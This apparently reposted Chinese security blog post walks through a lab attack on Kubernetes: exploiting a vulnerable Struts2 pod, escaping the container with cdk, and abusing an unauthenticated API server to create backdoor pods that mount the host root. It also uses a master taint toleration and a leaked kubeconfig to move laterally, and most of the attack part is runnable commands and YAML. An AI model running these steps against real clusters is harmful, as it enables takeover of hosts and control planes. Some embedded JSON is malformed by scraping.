云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸

admin 2026年8月11日10:36:18评论101 views字数 3891阅读12分58秒阅读模式

本文围绕云原生环境下的攻击链路展开,以Struts2漏洞部署的Web应用为入口,演示获取Pod权限后如何探测环境、利用危险挂载或特权启动实现容器逃逸,并通过创建挂载宿主机根目录的后门Pod完成横向移动,同时涉及APIServer未授权访问等风险点。

Web应用部署:(struts2漏洞)
# 创建名为struts的Deployment,部署Struts2 2.3.28漏洞环境镜像kubectl create deployment struts --image=vulhub/struts2:2.3.28# 创建NodePort类型的Service,将容器8080端口暴露到集群外部kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort# 查看Pod运行状态和Service的端口信息,确认部署结果kubectl get pod,svc
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
1、利用Web漏洞拿下权限
探针当前Webshell环境:
https://blog.csdn.net/qq_23936389/article/details/131467165ls -al /cat /proc/1/cgroup
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
docker逃逸方式
危险挂载特权启动docker漏洞内核漏洞
上传cdk项目自动逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
提交创建后门Pod
./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'
该后门pod将宿主机的根目录挂载到了该pod的/host目录下
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
探针API Server未授权
curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods
提交创建后门Pod
./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'
等同于
./kubectl -s 10.96.0.1:443 create -f test.yaml
加参数绕过交互式
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods
利用后门挂载进行逃逸
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"

一、横向移动-污点Taint

参考文章:https://blog.csdn.net/weixin_61269220/article/details/127294286
添加污点
kubectl taint nodes node1 xtz=value1:NoSchedule
去除污点
kubectl taint nodes node1 xtz=value1:NoSchedule-
打印node1节点上配置的所有污点信息:
kubectl describe nodes node1 | grep Taints
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
利用污点Taint横向移动master节点
参考:https://cn-sec.com/archives/1336486.html
获取node节点详情:node-role.kubernetes.io/master:NoSchedule
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
cat > x.yaml << EOFapiVersion: v1kind: Podmetadata:  name: control-master-xspec: tolerations:   - key: node-role.kubernetes.io/master     operator: Exists     effect: NoSchedule containers:   - name: control-master-x     image: ubuntu:18.04     command: ["/bin/sleep", "3650d"]     volumeMounts:      - name: master        mountPath: /master volumes:  - name: master    hostPath:     path: /     type: DirectoryEOF
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master"
也可以利用节点泄漏的config横向移动节点
./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes./kubectl apply -f test.yaml -n default --kubeconfig=config./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸
云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸

原文始发于微信公众号(stalker2027lab):云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2026年8月11日10:36:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸http://cn-sec.com/archives/5386707.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息